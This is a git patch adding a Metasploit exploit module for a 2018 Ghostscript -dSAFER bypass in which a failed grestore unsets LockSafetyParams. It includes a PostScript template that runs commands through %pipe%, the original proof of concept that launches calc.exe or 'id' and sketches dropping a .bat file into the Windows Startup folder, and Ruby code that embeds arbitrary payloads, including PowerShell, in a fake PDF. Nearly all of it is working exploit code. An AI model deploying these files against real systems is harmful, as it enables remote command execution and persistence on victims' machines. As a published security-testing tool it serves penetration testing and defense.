From 1491f13bd5d1f5a3a4fec3c9dfb6f47d0b6d8fbe Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 30 Aug 2018 13:05:29 -0500 Subject: [PATCH] Add Ghostscript failed restore exploit --- data/exploits/ghostscript/msf.ps | 9 +++ data/exploits/ghostscript/testcase.ps | 81 +++++++++++++++++++ .../fileformat/ghostscript_failed_restore.rb | 77 ++++++++++++++++++ 3 files changed, 167 insertions(+) create mode 100644 data/exploits/ghostscript/msf.ps create mode 100644 data/exploits/ghostscript/testcase.ps create mode 100644 modules/exploits/multi/fileformat/ghostscript_failed_restore.rb diff --git a/data/exploits/ghostscript/msf.ps b/data/exploits/ghostscript/msf.ps new file mode 100644 index 0000000000..866d17dead --- /dev/null +++ b/data/exploits/ghostscript/msf.ps @@ -0,0 +1,9 @@ +%!PS +userdict /setpagedevice undef +a0 +currentpagedevice /HWResolution get 0 (metasploit) put +{ grestore } stopped pop +(ppmraw) selectdevice +mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops +{ showpage } stopped pop +quit diff --git a/data/exploits/ghostscript/testcase.ps b/data/exploits/ghostscript/testcase.ps new file mode 100644 index 0000000000..310a43730d --- /dev/null +++ b/data/exploits/ghostscript/testcase.ps @@ -0,0 +1,81 @@ +%!PS +% This is ghostscript bug #699687 (split out from bug #699654) + +% ImageMagick define setpagedevice, just remove their definition. This doesn't +% do anything if not using ImageMagick. +userdict /setpagedevice undef + +% function to check if we're on Linux or Windows +/iswindows { + % Just checking if paths contain drive + null (w) .tempfile closefile 1 get 16#3A eq +} def + +% just select a papersize to initialize page device +a0 + +% The bug is that if you can make grestore or restore fail non-fatally, +% LockSafetyParams isn't restored properly. grestore will fail if you set crazy +% properties in your pagedevice, like a nonsense resolution. +% +% Normally it would be something like [72.0 72.0], but you can't just def +% HWResolution to something else (for example), because it's readonly: +% +% GS>currentpagedevice wcheck == +% false +% +% But you can just put or astore into it, because the array itself is writable: +% GS>currentpagedevice /HWResolution get wcheck == +% true +% +% Lets just put some junk in there. +currentpagedevice /HWResolution get 0 (foobar) put + +% This grestore will fail, stopped just catches the error instead of aborting. +{ grestore } stopped pop + +% Now LockSafetyParams will be incorrectly unset, you can check like this: +% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop +% false + +% We can change and configure devices now, so make sure we're using one with +% a OutputFile property. +(ppmraw) selectdevice + +% Check if we're on Windows or UNIX +iswindows { + % This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe. + % + % The graphical version doesn't seem to support %pipe%, but you can create + % arbitrary files. If something is using the api (gs32dll.dll), it may or + % may not support %pipe%. + + /getstartupdirwindows { + % This figures out startup location from %TEMP% (Tested on Win10) + (C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\) + dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval + } def + + % (directory) (extension) randfile (result) + /randfile { + % pick a random filename + exch rand 32 string cvs concatstrings exch concatstrings + } def + + mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops + + % if you need to create files, use txtwrite like this: + + %mark /OutputFile getstartupdirwindows (.bat) randfile + % { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice + %0 0 moveto + %(REM This is an exploit demo\n) show + %(calc.exe\n) show +} { + % This is UNIX, just run a shell command + mark /OutputFile (%pipe%id) currentdevice putdeviceprops +} ifelse + +{ showpage } stopped pop + +quit \ No newline at end of file diff --git a/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb b/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb new file mode 100644 index 0000000000..5e9fb75c51 --- /dev/null +++ b/modules/exploits/multi/fileformat/ghostscript_failed_restore.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit + + Rank = ExcellentRanking + + PLACEHOLDER_STRING = 'metasploit' + PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty' + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ghostscript Failed Restore Command Execution', + 'Description' => %q{ + This module exploits a -dSAFER bypass in Ghostscript to execute + arbitrary commands by handling a failed restore (grestore) in + PostScript to disable LockSafetyParams and avoid invalidaccess. + }, + 'Author' => [ + 'Tavis Ormandy', # Vuln discovery and exploit + 'wvu' # Metasploit module + ], + 'References' => [ + ['URL', 'http://seclists.org/oss-sec/2018/q3/142'], + ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640'] + ], + 'DisclosureDate' => 'Aug 21 2018', + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'win'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => false, + 'Targets' => [ + ['PS file', template: 'msf.ps'] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('FILENAME', [true, 'Output file', 'msf.pdf']) # Fake PDF + ]) + end + + def exploit + sploit = template + + # Replace our placeholder string with a random one + sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42)) + + # Replace our test payload with the real one + case payload.arch.first + when ARCH_CMD + sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded) + when ARCH_X86, ARCH_X64 + # Futureproof in case unix gets x{86,64} + if payload_instance.platform_to_s == 'Windows' + sploit.sub!( + PLACEHOLDER_COMMAND, + cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true) + ) + end + end + + file_create(sploit) + end + + def template + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'ghostscript', target[:template] + )) + end + +end